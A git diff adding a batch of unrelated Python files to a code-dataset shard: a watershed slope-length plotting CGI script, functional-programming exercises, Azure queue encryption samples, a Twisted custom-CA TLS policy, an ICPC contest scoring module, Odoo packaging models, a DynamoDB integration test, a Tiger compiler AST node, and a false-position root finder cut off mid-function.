mode 100644 index 0000000000000000000000000000000000000000..9b1746c6a1a55f7c92cd38b0d03269c59585d740 --- /dev/null +++ b/pool/shard009/Python/0080540_sflen.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python +""" Flowpath length scatter """ +import cgi +import cStringIO +import sys +import glob + + +def read_slope(fn): + lines = open(fn).readlines() + data = [] + for line in lines: + if len(line.strip()) == 0 or line[0] == "#": + continue + data.append(line) + fplen = data[2].split()[0] + xs = [] + slp = [] + travel = 0 + for i in range(3, len(data), 2): + slen = float(data[i].split()[1]) + nums = data[i + 1].replace(",", "").split() + for pos in nums[0 : len(nums) : 2]: + xs.append(float(pos) * slen + travel) + for pos in nums[1 : len(nums) : 2]: + slp.append(float(pos)) + travel += slen + h2 = [0] + x2 = [0] + for x, s in zip(xs, slp): + h2.append(h2[-1] + (x - x2[-1]) * (0 - s)) + x2.append(x) + + return x2, h2, travel + + +def make_plot(huc_12): + """Generate the plot please""" + + import matplotlib + + matplotlib.use("agg") + import matplotlib.pyplot as plt + + (fig, ax) = plt.subplots(2, 1) + + flengths = [[], [], []] + for fn in glob.glob("/i/1/slp/%s/%s/*.slp" % (huc_12[:8], huc_12[8:])): + x, y, flen = read_slope(fn) + flengths[1].append(flen) + + x, y, flen = read_slope("/i/2" + fn[4:]) + flengths[2].append(flen) + + ax[0].set_title("Slope Length Comparison for HUC12: %s" % (huc_12,)) + ax[0].scatter(flengths[2], flengths[1]) + ax[0].set_xlim(left=0) + ax[0].grid(True) + ax[0].set_ylim(bottom=0) + ax[0].plot([0, max(flengths[2])], [0, max(flengths[2])]) + ax[0].set_xlabel("dbfsOrgnlTesting slope length [m]") + ax[0].set_ylabel("G4 slope length [m]") + + ax[1].boxplot([flengths[1], flengths[2]]) + ax[1].set_xticks([1, 2]) + ax[1].set_xticklabels(["IDEPv2 G4", "IDEPv2 dbfsOrgnlTesting"]) + ax[1].set_ylabel("Slope Length (m)") + ax[1].grid(True) + + ram = cStringIO.StringIO() + plt.savefig(ram, format="png") + ram.seek(0) + r = ram.read() + + sys.stdout.write("Content-type: image/png\n\n") + sys.stdout.write(r) + + +if __name__ == "__main__": + # Go Main Go + form = cgi.FieldStorage() + huc_12 = form.getfirst("huc_12", "070200090401") + + make_plot(huc_12) diff --git a/pool/shard009/Python/0080541_filter.py b/pool/shard009/Python/0080541_filter.py new file mode 100644 index 0000000000000000000000000000000000000000..98b28404d458a0b69555db99941b6ba468dfafab --- /dev/null +++ b/pool/shard009/Python/0080541_filter.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +# coding=utf-8 +def f(x): return x % 2 != 0 and x % 3 !=0 + +a = filter(f, range(2,23)) + +print a + +def cube(x): return x*x*x + +b = map(cube, range(2,11)) + +print b + +seq = range(10) +def addi(x,y): + #print x,y + #print '--'*20 + return (x+y) + +c = map(addi, seq, seq) + +#print c + +d = reduce(addi, range(1,11)) + +print d + +print '--'*40 +m = [] + +def subtration(x,y): + global m + print x,y + if x > y: + print "dayu" + return (x-y) + elif x < y: + print 'xiaoyu',x,y + m.append(y-x) + return (y-x) + else: + print 'dengyu' + return 0 + pass + +e = reduce(subtration, range(10,20)) + +print e +print '--'*40 +print m + + +def sum(seq): + def add(x,y): return x+y + return reduce(add, seq, 0) + +g = sum(range(1,29)) + +print g diff --git a/pool/shard009/Python/0080551_encryption_usage.py b/pool/shard009/Python/0080551_encryption_usage.py new file mode 100644 index 0000000000000000000000000000000000000000..458acaa47b2c4e83b71ce4c7fb5f44f6a0140975 --- /dev/null +++ b/pool/shard009/Python/0080551_encryption_usage.py @@ -0,0 +1,213 @@ +# ------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for +# license information. +# -------------------------------------------------------------------------- +import uuid +from os import urandom + +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives.asymmetric.padding import ( + OAEP, + MGF1, +) +from cryptography.hazmat.primitives.asymmetric.rsa import generate_private_key +from cryptography.hazmat.primitives.hashes import SHA1 +from cryptography.hazmat.primitives.keywrap import ( + aes_key_wrap, + aes_key_unwrap, +) + + +# Sample implementations of the encryption-related interfaces. +class KeyWrapper: + def __init__(self, kid): + self.kek = urandom(32) + self.backend = default_backend() + self.kid = 'local:' + kid + + def wrap_key(self, key, algorithm='A256KW'): + if algorithm == 'A256KW': + return aes_key_wrap(self.kek, key, self.backend) + + raise ValueError(_ERROR_UNKNOWN_KEY_WRAP_ALGORITHM) + + def unwrap_key(self, key, algorithm): + if algorithm == 'A256KW': + return aes_key_unwrap(self.kek, key, self.backend) + + raise ValueError(_ERROR_UNKNOWN_KEY_WRAP_ALGORITHM) + + def get_key_wrap_algorithm(self): + return 'A256KW' + + def get_kid(self): + return self.kid + + +class KeyResolver: + def __init__(self): + self.keys = {} + + def put_key(self, key): + self.keys[key.get_kid()] = key + + def resolve_key(self, kid): + return self.keys[kid] + + +class RSAKeyWrapper: + def __init__(self, kid): + self.private_key = generate_private_key(public_exponent=65537, + key_size=2048, + backend=default_backend()) + self.public_key = self.private_key.public_key() + self.kid = 'local:' + kid + + def wrap_key(self, key, algorithm='RSA'): + if algorithm == 'RSA': + return self.public_key.encrypt(key, + OAEP( + mgf=MGF1(algorithm=SHA1()), + algorithm=SHA1(), + label=None) + ) + + raise ValueError(_ERROR_UNKNOWN_KEY_WRAP_ALGORITHM) + + def unwrap_key(self, key, algorithm): + if algorithm == 'RSA': + return self.private_key.decrypt(key, + OAEP( + mgf=MGF1(algorithm=SHA1()), + algorithm=SHA1(), + label=None) + ) + + raise ValueError(_ERROR_UNKNOWN_KEY_WRAP_ALGORITHM) + + def get_key_wrap_algorithm(self): + return 'RSA' + + def get_kid(self): + return self.kid + + +class QueueEncryptionSamples(): + def __init__(self, account): + self.account = account + + def run_all_samples(self): + self.service = self.account.create_queue_service() + + self.put_encrypted_message() + self.peek_get_update_encrypted() + self.decrypt_with_key_encryption_key() + self.require_encryption() + self.alternate_key_algorithms() + + def _get_queue_reference(self, prefix='queue'): + queue_name = '{}{}'.format(prefix, str(uuid.uuid4()).replace('-', '')) + return queue_name + + def _create_queue(self, prefix='queue'): + queue_name = self._get_queue_reference(prefix) + self.service.create_queue(queue_name) + return queue_name + + def put_encrypted_message(self): + queue_name = self._create_queue() + + # KeyWrapper implements the key encryption key interface + # outlined in the get/update message documentation. + # Setting the key_encryption_key property will tell these + # APIs to encrypt messages. + self.service.key_encryption_key = KeyWrapper('key1') + self.service.put_message(queue_name, 'message1') + + self.service.delete_queue(queue_name) + + def peek_get_update_encrypted(self): + queue_name = self._create_queue() + + # The KeyWrapper is still needed for encryption + self.service.key_encryption_key = KeyWrapper('key1') + self.service.put_message(queue_name, 'message1') + + # KeyResolver is used to resolve a key from its id. + # Its interface is defined in the get/peek messages documentation. + key_resolver = KeyResolver() + key_resolver.put_key(self.service.key_encryption_key) + self.service.key_resolver_function = key_resolver.resolve_key + self.service.peek_messages(queue_name) + messages = self.service.get_messages(queue_name) + self.service.update_message(queue_name, + messages[0].id, + messages[0].pop_receipt, + 0, + content='encrypted_message2') + + self.service.delete_queue(queue_name) + + def require_encryption(self): + queue_name = self._create_queue() + + self.service.put_message(queue_name, 'Not encrypted') + # Set the require_encryption property on the service to + # ensure all messages sent/received are encrypted. + self.service.require_encryption = True + + # If the property is set, but no kek is specified upon + # upload, the method will throw. + try: + self.service.put_message(queue_name, 'message1') + except: + pass + + self.service.key_encryption_key = KeyWrapper('key1') + self.service.key_resolver_function = KeyResolver() + self.service.key_resolver_function.put_key(self.service.key_encryption_key) + + # If encryption is required, but a retrieved message is not + # encrypted, the method will throw. + try: + self.service.peek_message(queue_name, 'message1') + except: + pass + + self.service.delete_queue(queue_name) + + def alternate_key_algorithms(self): + queue_name = self._create_queue() + + # To use an alternate method of key wrapping, simply set the + # key_encryption_key property to a wrapper that uses a different algorithm. + self.service.key_encryption_key = RSAKeyWrapper('key2') + self.service.key_resolver_function = None + + self.service.put_message(queue_name, 'message') + + key_resolver = KeyResolver() + key_resolver.put_key(self.service.key_encryption_key) + self.service.key_resolver_function = key_resolver.resolve_key + message = self.service.peek_messages(queue_name) + + self.service.delete_queue(queue_name) + + def decrypt_with_key_encryption_key(self): + queue_name = self._create_queue() + + # The KeyWrapper object also defines methods necessary for + # decryption as defined in the get/peek messages documentation. + # Since the key_encryption_key property is still set, messages + # will be decrypted automatically. + kek = KeyWrapper('key1') + self.service.key_encryption_key = kek + self.service.put_message(queue_name, 'message1') + + # When decrypting, if both a kek and resolver are set, + # the resolver will take precedence. Remove the resolver to just use the kek. + self.service.key_resolver_function = None + messages = self.service.peek_messages(queue_name) + + self.service.delete_queue(queue_name) diff --git a/pool/shard009/Python/0080554_ca_trust.py b/pool/shard009/Python/0080554_ca_trust.py new file mode 100644 index 0000000000000000000000000000000000000000..e04f3b8fc67f6adc141cafb4cda48abe4c9a4e9a --- /dev/null +++ b/pool/shard009/Python/0080554_ca_trust.py @@ -0,0 +1,59 @@ + +#======================================================================= +# A custom IPolicyForHTTPS that allows *adding* extra CAs to the OS +# supplied CA bundle. +# Use this as the `contextFactory` for `twisted.web.client.Agent`. +#======================================================================= + +# External modules +from OpenSSL import crypto +import pem +from twisted.internet import ssl, defer +from twisted.internet.interfaces import IOpenSSLClientConnectionCreator +from twisted.python.components import proxyForInterface +from twisted.web.iweb import IPolicyForHTTPS +from zope.interface import implementer + + +class AddExtraTrustRoots(proxyForInterface(IOpenSSLClientConnectionCreator)): + def __init__(self, extraTrustRoots, original): + self._extraTrustRoots = extraTrustRoots + super(AddExtraTrustRoots, self).__init__(original) + + + def clientConnectionForTLS(self, tlsProtocol): + connection = (super(AddExtraTrustRoots, self).clientConnectionForTLS(tlsProtocol)) + cert_store = connection.get_context().get_cert_store() + for cert in self._extraTrustRoots: + cert_store.add_cert(cert) + return connection + +@implementer(IPolicyForHTTPS) +class CustomPolicyForHTTPS(object): + """ + SSL connection creator for web clients. + """ + def __init__(self, extraTrustRoots=None): + if extraTrustRoots is None: + extraTrustRoots = [] + self._extraTrustRoots = extraTrustRoots + + def creatorForNetloc(self, hostname, port): + return AddExtraTrustRoots( + self._extraTrustRoots, + ssl.optionsForClientTLS(hostname.decode("ascii"))) + + +def pem_cert_to_x509(pem_cert): + return crypto.load_certificate(crypto.FILETYPE_PEM, str(pem_cert)) + +def createCustomPolicyFactoryFromPEMs(*pem_files): + authorities = [] + for pem_file in pem_files: + for cert in pem.parse_file(pem_file): + authorities.append(pem_cert_to_x509(cert)) + + def _policyFactory(): + return CustomPolicyForHTTPS(authorities) + + return _policyFactory diff --git a/pool/shard009/Python/0080557_pressure.py b/pool/shard009/Python/0080557_pressure.py new file mode 100644 index 0000000000000000000000000000000000000000..2e599468ac96c10770d14251313ceb9041166719 --- /dev/null +++ b/pool/shard009/Python/0080557_pressure.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import requests +import numpy as np +import json +import client.cn_util +import sys +reload(sys) +sys.setdefaultencoding("utf-8") + +def test(): + url = "http://localhost:11304/sc/chat?q=%s&u=%s" + + while True: + qn = [u'吃饭'] + u = np.random.randint(0, 10) + q = np.random.choice(qn, 1)[0] + r_url = url % (q, str(u)) + r = requests.get(r_url) + text = json.dumps(r.json(), ensure_ascii=False) + client.cn_util.print_cn(text) + if 'unclear' in text or 'base' in text: + print('---------') + +if __name__ == '__main__': + test() \ No newline at end of file diff --git a/pool/shard009/Python/0080562_icpc.py b/pool/shard009/Python/0080562_icpc.py new file mode 100644 index 0000000000000000000000000000000000000000..35eefe16a3d920cdfd80b6061b32ce252c71a021 --- /dev/null +++ b/pool/shard009/Python/0080562_icpc.py @@ -0,0 +1,124 @@ +from datetime import timedelta + +from django.core.exceptions import ValidationError +from django.db import connection +from django.template.defaultfilters import floatformat +from django.urls import reverse +from django.utils.html import format_html +from django.utils.safestring import mark_safe +from django.utils.translation import gettext_lazy + +from judge.contest_format.default import DefaultContestFormat +from judge.contest_format.registry import register_contest_format +from judge.timezone import from_database_time +from judge.utils.timedelta import nice_repr + + +@register_contest_format('icpc') +class ICPCContestFormat(DefaultContestFormat): + name = gettext_lazy('ICPC') + config_defaults = {'penalty': 20} + config_validators = {'penalty': lambda x: x >= 0} + ''' + penalty: Number of penalty minutes each incorrect submission adds. Defaults to 20. + ''' + + @classmethod + def validate(cls, config): + if config is None: + return + + if not isinstance(config, dict): + raise ValidationError('ICPC-styled contest expects no config or dict as config') + + for key, value in config.items(): + if key not in cls.config_defaults: + raise ValidationError('unknown config key "%s"' % key) + if not isinstance(value, type(cls.config_defaults[key])): + raise ValidationError('invalid type for config key "%s"' % key) + if not cls.config_validators[key](value): + raise ValidationError('invalid value "%s" for config key "%s"' % (value, key)) + + def __init__(self, contest, config): + self.config = self.config_defaults.copy() + self.config.update(config or {}) + self.contest = contest + + def update_participation(self, participation): + cumtime = 0 + last = 0 + penalty = 0 + score = 0 + format_data = {} + + with connection.cursor() as cursor: + cursor.execute(''' + SELECT MAX(cs.points) as `points`, ( + SELECT MIN(csub.date) + FROM judge_contestsubmission ccs LEFT OUTER JOIN + judge_submission csub ON (csub.id = ccs.submission_id) + WHERE ccs.problem_id = cp.id AND ccs.participation_id = %s AND ccs.points = MAX(cs.points) + ) AS `time`, cp.id AS `prob` + FROM judge_contestproblem cp INNER JOIN + judge_contestsubmission cs ON (cs.problem_id = cp.id AND cs.participation_id = %s) LEFT OUTER JOIN + judge_submission sub ON (sub.id = cs.submission_id) + GROUP BY cp.id + ''', (participation.id, participation.id)) + + for points, time, prob in cursor.fetchall(): + time = from_database_time(time) + dt = (time - participation.start).total_seconds() + + # Compute penalty + if self.config['penalty']: + # An IE can have a submission result of `None` + subs = participation.submissions.exclude(submission__result__isnull=True) \ + .exclude(submission__result__in=['IE', 'CE']) \ + .filter(problem_id=prob) + if points: + prev = subs.filter(submission__date__lte=time).count() - 1 + penalty += prev * self.config['penalty'] * 60 + else: + # We should always display the penalty, even if the user has a score of 0 + prev = subs.count() + else: + prev = 0 + + if points: + cumtime += dt + last = max(last, dt) + + format_data[str(prob)] = {'time': dt, 'points': points, 'penalty': prev} + score += points + + participation.cumtime = cumtime + penalty + participation.score = round(score, self.contest.points_precision) + participation.tiebreaker = last # field is sorted from least to greatest + participation.format_data = format_data + participation.save() + + def display_user_problem(self, participation, contest_problem): + format_data = (participation.format_data or {}).get(str(contest_problem.id)) + if format_data: + penalty = format_html(' ({penalty})', + penalty=floatformat(format_data['penalty'])) if format_data['penalty'] else '' + return format_html( + '{points}{penalty}
{time}
', + state=(('pretest-' if self.contest.run_pretests_only and contest_problem.is_pretested else '') + + self.best_solution_state(format_data['points'], contest_problem.points)), + url=reverse('contest_user_submissions', + args=[self.contest.key, participation.user.user.username, contest_problem.problem.code]), + points=floatformat(format_data['points']), + penalty=penalty, + time=nice_repr(timedelta(seconds=format_data['time']), 'noday'), + ) + else: + return mark_safe('') + + def get_label_for_problem(self, index): + index += 1 + ret = '' + while index > 0: + ret += chr((index - 1) % 26 + 65) + index = (index - 1) // 26 + return ret[::-1] diff --git a/pool/shard009/Python/0080563_pack.py b/pool/shard009/Python/0080563_pack.py new file mode 100644 index 0000000000000000000000000000000000000000..bc9f0528e3ec9a36fcb6cb081a0f6e668d1d18d8 --- /dev/null +++ b/pool/shard009/Python/0080563_pack.py @@ -0,0 +1,113 @@ +# -*- coding: utf-8 -*- +############################################################################### +# +# Copyright (C) 2001-2014 Micronaet SRL (). +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published +# by the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################### +import os +import sys +import logging +import openerp +import openerp.netsvc as netsvc +import openerp.addons.decimal_precision as dp +from openerp.osv import fields, osv, expression, orm +from datetime import datetime, timedelta +from dateutil.relativedelta import relativedelta +from openerp import SUPERUSER_ID, api +from openerp import tools +from openerp.tools.translate import _ +from openerp.tools.float_utils import float_round as round +from openerp.tools import (DEFAULT_SERVER_DATE_FORMAT, + DEFAULT_SERVER_DATETIME_FORMAT, + DATETIME_FORMATS_MAP, + float_compare) +import base64, urllib + + +_logger = logging.getLogger(__name__) + + +class BaseContainerType(orm.Model): + '''Type of Container: type of container used for standard total cost + used for divide for tot article to part cost on unit + ''' + _name = 'base.container.type' + _description = 'Container type' + + _columns = { + 'name': fields.char('Container', size=40, required=True), + 'cost': fields.float('Loan cost (EUR)', digits=(16, 2)), + 'date': fields.date('Date of quotation'), + } + + _defaults = { + 'cost': lambda *x: 0.0, + 'date': lambda *a: datetime.now().strftime("%Y-%m-%d %H:%M:%S") + } + +class ProductPackagingFunction(orm.Model): + '''Add extra fields for + ''' + _inherit = 'product.packaging' + + # fields function + def _function_get_volume(self, cr, uid, ids, name, args, context=None): + res = {} + for pack in self.browse(cr, uid, ids, context=context): + res[pack.id] = ( + pack.length or 0 * pack.width or 0 * pack.height or 0 + ) / 1000000 # TODO approx + return res + + def _function_get_transport(self, cr, uid, ids, name, args, context=None): + res = {} + for pack in self.browse(cr, uid, ids, context=context): + try: + res[pack.id] = round(( + pack.container_id and pack.container_id.cost or 0) / ( + pack.q_x_container or 0),2) + except: # division by zero! + res[pack.id] = 0.00 + return res + + + _columns = { + 'container_id': fields.many2one( + 'base.container.type', 'Container type', ondelete="set null"), + 'q_x_container': fields.integer('Q. x container'), + 'transport_cost': fields.function( + _function_get_transport, method=True, type='float', + string='Transport cost unit (EUR)', store=False), + + 'dimension_text': fields.text('Dimension (textual)'), # TO DELETE + 'error_dimension_pack': fields.boolean('Error dimens. pack'), # TO DEL. + + 'pack_volume': fields.float('Pack volum (manual)', digits=(16, 3)), + 'pack_volume_manual': fields.boolean('Manual volum'), + + # TODO moved in product.ul in v.8 (not existant here) + 'length': fields.float('Length', digits=(16, 2)), + 'height': fields.float('Height', digits=(16, 2)), + 'width': fields.float('Width', digits=(16, 2)), + + 'weight_ul': fields.float('Weight UL', digits=(16, 2)), + } + + _defaults = { + 'q_x_container': lambda *x: 0, + } + +# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: diff --git a/pool/shard009/Python/0080564_test_disco_dynamodb.py b/pool/shard009/Python/0080564_test_disco_dynamodb.py new file mode 100644 index 0000000000000000000000000000000000000000..25d7abd8960710bafe0fec865f438692f960a936 --- /dev/null +++ b/pool/shard009/Python/0080564_test_disco_dynamodb.py @@ -0,0 +1,81 @@ +""" +Integration tests for disco_dynamodb.py +""" + +import json +from random import randint +from tests.helpers.integration_helpers import IntegrationTest + + +MOCK_TABLE_NAME = "IntegrationTest" +CREATE_CMD = "disco_dynamodb.py create --env {0} --config test/test_dynamodb_create.json --wait" +DELETE_CMD = "disco_dynamodb.py delete --table {0} --env {1} --wait" +LIST_CMD = "disco_dynamodb.py list" + + +class TestDiscoDynamoDB(IntegrationTest): + """ Test bin/disco_dynamodb.py """ + + def setUp(self): + """ + Generate random environment name for integration test env + """ + self.env_name = "env_{0}".format(randint(10000, 99999)) + + def test_create_and_delete_table(self): + """ Ensures we can create and delete DynamoDB table properly """ + table_list_output = u"{0:<20} {1}".format(MOCK_TABLE_NAME, self.env_name) + + try: + create_output = self.run_cmd(CREATE_CMD.format(self.env_name).split()) + + table = json.loads(self._remove_lines_from_logs(create_output)) + + self.assertEqual(table["TableStatus"], "ACTIVE") + self.assertEqual(table["TableName"], "{0}_{1}".format(MOCK_TABLE_NAME, self.env_name)) + self.assertEqual(table["ProvisionedThroughput"]["WriteCapacityUnits"], 10) + self.assertEqual(table["ProvisionedThroughput"]["ReadCapacityUnits"], 10) + for key in table["KeySchema"]: + if key["KeyType"] == "HASH": + self.assertEqual(key["AttributeName"], "_id") + else: + self.assertEqual(key["AttributeName"], "mock_range_key") + + self.assertEqual(table["GlobalSecondaryIndexes"][0]["IndexName"], "mock_index") + self.assertEqual(table["GlobalSecondaryIndexes"][0]["KeySchema"][0]["AttributeName"], + "mock_index_attr") + self.assertEqual(table["GlobalSecondaryIndexes"][0]["Projection"]["ProjectionType"], "ALL") + + # Also assert that table can be found when running the list command + list_output = self.run_cmd(LIST_CMD.format(self.env_name).split()) + lines = list_output.split('\n') + self.assertIn(table_list_output, lines) + finally: + delete_output = self.run_cmd(DELETE_CMD.format(MOCK_TABLE_NAME, self.env_name).split()) + delete_output = json.loads(self._remove_lines_from_logs(delete_output)) + + self.assertEqual(delete_output["TableName"], "{0}_{1}".format(MOCK_TABLE_NAME, self.env_name)) + self.assertEqual(delete_output["TableStatus"], "DELETED") + + list_output = self.run_cmd(LIST_CMD.format(self.env_name).split()) + lines = list_output.split('\n') + self.assertNotIn(table_list_output, lines) + + def _remove_lines_from_logs(self, input_string): + lines = [] + + for line in input_string.split("\n"): + words = line.split() + + try: + # If it quacks like a logging line... + if words[3] in ["WARNING", "WARN", "INFO", "DEBUG", "CRITICAL", "NOTSET"]: + continue + except IndexError: + pass + + lines.append(line) + + output_string = "\n".join(lines) + + return output_string diff --git a/pool/shard009/Python/0080568_letnode.py b/pool/shard009/Python/0080568_letnode.py new file mode 100644 index 0000000000000000000000000000000000000000..879c0081e49ef0964635657a253471f8650c13eb --- /dev/null +++ b/pool/shard009/Python/0080568_letnode.py @@ -0,0 +1,265 @@ +# -*- coding: utf-8 -*- + +""" +Clase C{LetNode} del árbol de sintáxis abstracta. +""" + +from pytiger2c.ast.valuedexpressionnode import ValuedExpressionNode +from pytiger2c.scope import Scope, FakeScope + + +class LetNode(ValuedExpressionNode): + """ + Clase C{LetNode} del árbol de sintáxis abstracta. + + Representa la expresión C{let-in-end} del lenguaje Tiger. La expresión + C{let-in-end} define tipos y funciones especificadas luego de la instrucción + C{let} y antes de la instrucción C{in} de forma tal que esas declaraciones + estén disponibles en el ámbito de ejecución de la secuencia de expresiones + que se encuentran detrás de la instrucción C{in} y antes de la instrucción + C{end}. + + La expresión C{let-in-end} retorna valor si la secuencia de expresiones + retorna valor y su tipo de retorno es el mismo que la secuencia de + expresiones. + """ + + def _get_type_declaration_groups(self): + """ + Método para obtener el valor de la propiedad C{type_declaration_groups}. + """ + return self._type_declaration_groups + + type_declaration_groups = property(_get_type_declaration_groups) + + def _get_function_declaration_groups(self): + """ + Método para obtener el valor de la propiedad C{function_declaration_groups}. + """ + return self._function_declaration_groups + + function_declaration_groups = property(_get_function_declaration_groups) + + def _get_variable_declarations(self): + """ + Método para obtener el valor de la propiedad C{variable_declarations}. + """ + return self._variable_declarations + + variable_declarations = property(_get_variable_declarations) + + def _get_expressions(self): + """ + Método para obtener el valor de la propiedad C{expressions}. + """ + return self._expressions + + expressions = property(_get_expressions) + + def __init__(self, type_declaration_groups, function_declaration_groups, + variable_declarations, expressions): + """ + Inicializa la clase C{LetNode}. + + @type type_declaration_groups: C{list} + @param type_declaration_groups: Lista de los grupos de las declaraciones + de tipos, que forman parte de la lista de declaraciones de la + estructura C{let-in-end} representada por este nodo del árbol + de sintáxis abstracta. + + @type function_declaration_groups: C{list} + @param function_declaration_groups: Lista de los grupos de las declaraciones + de funciones, que forman parte de la lista de declaraciones de la + estructura C{let-in-end} representada por este nodo del árbol + de sintáxis abstracta. + + @type variable_declarations: C{list} + @param variable_declarations: Lista de las declaraciones de variables + que forman parte de la lista de declaraciones de la + estructura C{let-in-end} representada por este nodo del árbol + de sintáxis abstracta. + + @type expressions: C{ExpressionSequenceNode} + @param expressions: Sequencia de expresiones que forman parte del cuerpo + de la expresión C{let-in-end} representada por este nodo del árbol + de sintáxis abstracta. + """ + super(LetNode, self).__init__() + self._type_declaration_groups = type_declaration_groups + self._function_declaration_groups = function_declaration_groups + self._variable_declarations = variable_declarations + self._expressions = expressions + + def has_return_value(self): + """ + Ver documentación del método C{has_return_value} en C{LanguageNode}. + """ + return self._return_type != None + + def check_semantics(self, scope, errors): + """ + Para obtener información acerca de los parámetros recibidos por + el método consulte la documentación del método C{check_semantics} + en la clase C{LanguageNode}. + + En la comprobación semántica de este nodo del árbol de sintáxis abstracta + primeramente se crea el nuevo ámbito que define la estructura y que + tendrá como padre el ámbito donde se define la estructura C{let-in-end}. + + Se recorren todos los grupos de declaraciones de tipos, definiendo los + tipos en el ámbito creado y se obtiene un conjunto de los tipos que se + declaran en cada grupo a través del método C{collect_definitions} y luego + se comprueba semánticamente cada una de estas definiciones de tipos. + + Se recorren todos los grupos de declaraciones de funciones, comprobando + la cabecera de la declaración de la función, definiendo las funciones en + el ámbito creado y se obtiene un conjunto de las funciones que se definen + en cada grupo través del método C{collect_definitions}. + + Se comprueban semánticamente todas las declaraciones de variables. + + Se comprueban semánticamente los cuerpos de las funciones declaradas en + cada grupo de declaración de funciones. + + Se comprueba semánticamente la secuencia de expresiones de la estructura + C{let-in-end} y se asigna el valor de retorno del nodo, en caso de que + lo tenga. + + En el procedimiento de comprobación semántica descrito anteriormente se + realizan dos recorridos por ciertas partes del árbol de sintáxis abstracta + descendiente de este nodo. Se recorren dos veces los nodos correspondientes + a las declaraciones de tipos: una primera vez para obtener los nomrbes de los + tipos que se definen en cada grupo y luego para comprobar semánticamente + estas declaraciones de tipos. De manera semejante, se recorren dos veces los + nodos del árbol de sintáxis abstracta correspondientes a las declaraciones + de las funciones: una primera vez para obtener los nombres de las funciones + que se definen en cada grupo y una segunda vez para comprobar semánticamente + el cuerpo de las funciones. + """ + self._scope = Scope(scope) + all_types = set() + groups_types = [] + all_functions = set() + groups_functions = [] + + erros_before = len(errors) + + # First pass through the nodes of the type declarations. + for type_declaration_group in self._type_declaration_groups: + group_types = type_declaration_group.collect_definitions(self.scope, errors) + groups_types.append(group_types) + all_types.update(group_types) + + if erros_before != len(errors): + return + + # Second pass through the nodes of the type declarations. The second pass + # is divided in two parts: the first through the alias declaration and + # the second through the rest of the declarations. + types_fake_scope = FakeScope(self.scope) + for index, type_declaration_group in enumerate(self._type_declaration_groups): + types_fake_scope.current_siblings = all_types - groups_types[index] + type_declaration_group.check_aliases_semantics(types_fake_scope, errors) + types_fake_scope.current_siblings = None + + if erros_before != len(errors): + return + + for index, type_declaration_group in enumerate(self._type_declaration_groups): + types_fake_scope.current_siblings = all_types - groups_types[index] + type_declaration_group.check_semantics(types_fake_scope, errors) + types_fake_scope.current_siblings = None + + if erros_before != len(errors): + return + + # First pass through the nodes of the function declarations. + for func_declaration_group in self._function_declaration_groups: + group_functions = func_declaration_group.collect_definitions(self.scope, errors) + groups_functions.append(group_functions) + all_functions.update(group_functions) + + if erros_before != len(errors): + return + + # The only pass through the nodes of the variable declarations. + for variable_declaration in self._variable_declarations: + variable_declaration.check_semantics(self.scope, errors) + + if erros_before != len(errors): + return + + # Second pass through the nodes of the function declarations. + functions_fake_scope = FakeScope(self.scope) + for index, func_declaration_group in enumerate(self._function_declaration_groups): + functions_fake_scope.current_siblings = all_functions - groups_functions[index] + func_declaration_group.check_semantics(functions_fake_scope, errors) + functions_fake_scope.current_siblings = None + + if erros_before != len(errors): + return + + # The only pass through the expressions. + self._expressions.check_semantics(self.scope, errors) + + # Setting the return value of the node. + if self._expressions.has_return_value(): + self._return_type = self._expressions.return_type + else: + self._return_type = None + + def generate_dot(self, generator): + """ + Genera un grafo en formato Graphviz DOT correspondiente al árbol de + sintáxis abstracta del programa Tiger del cual este nodo es raíz. + + Para obtener información acerca de los parámetros recibidos por + este método consulte la documentación del método C{generate_dot} + de la clase C{LanguageNode}. + """ + me = generator.add_node(str(self.__class__.__name__)) + for type_declaration_group in self.type_declaration_groups: + type_declaration_group = type_declaration_group.generate_dot(generator) + generator.add_edge(me, type_declaration_group) + for function_declaration_group in self.function_declaration_groups: + function_declaration_group = function_declaration_group.generate_dot(generator) + generator.add_edge(me, function_declaration_group) + for variable_declaration in self.variable_declarations: + variable_declaration = variable_declaration.generate_dot(generator) + generator.add_edge(me, variable_declaration) + expressions = self.expressions.generate_dot(generator) + generator.add_edge(me, expressions) + return me + + def generate_code(self, generator): + """ + Genera el código correspondiente a la estructura del lenguaje Tiger + representada por el nodo. + + Para obtener información acerca de los parámetros recibidos por + este método consulte la documentación del método C{generate_code} + de la clase C{LanguageNode}. + """ + self.scope.generate_code(generator) + if self.scope.parent: + statement = '{scope}->parent = {parent};' + statement = statement.format(scope=self.scope.code_name, + parent=self.scope.parent.code_name) + generator.add_statement(statement) + + for type_declaration_group in self.type_declaration_groups: + type_declaration_group.generate_code(generator) + + for variable_declaration in self.variable_declarations: + variable_declaration.generate_code(generator) + + for function_declaration_group in self.function_declaration_groups: + function_declaration_group.generate_code(generator) + + self.expressions.generate_code(generator) + + if self.has_return_value(): + self._code_name = self.expressions.code_name + + + \ No newline at end of file diff --git a/pool/shard009/Python/0080573_Problem4c.py b/pool/shard009/Python/0080573_Problem4c.py new file mode 100644 index 0000000000000000000000000000000000000000..bacf998a4194070b409f5642ec30146c5b335ef0 --- /dev/null +++ b/pool/shard009/Python/0080573_Problem4c.py @@ -0,0 +1,38 @@ +import matplotlib.pyplot as plt +def func(x): + return x**4 - 2 +def false_position(a, b, thresh, max_step, f): + itr = [] + diffs = [] + x1 = a + x2 = b + val1 = f(x1) + val2 = f(x2) + # Swap values + if( val1 > 0 ): + x1, x2, val1, val2 = x2, x1, val2, val1 + for i in range(max_step): + x_new = x1 + (x2 - x1)*val1/(val1 - val2) + val_new = f(x_new) + itr.append(i) + diffs.append(abs(val_new)) + if( abs(val_new) < thresh): + return x_new, itr, diffs + if( val_new < 0 ): + x1 = x_new + val1 = val_new + else: + x2 = x_new + val2 = val_new + return x_new, 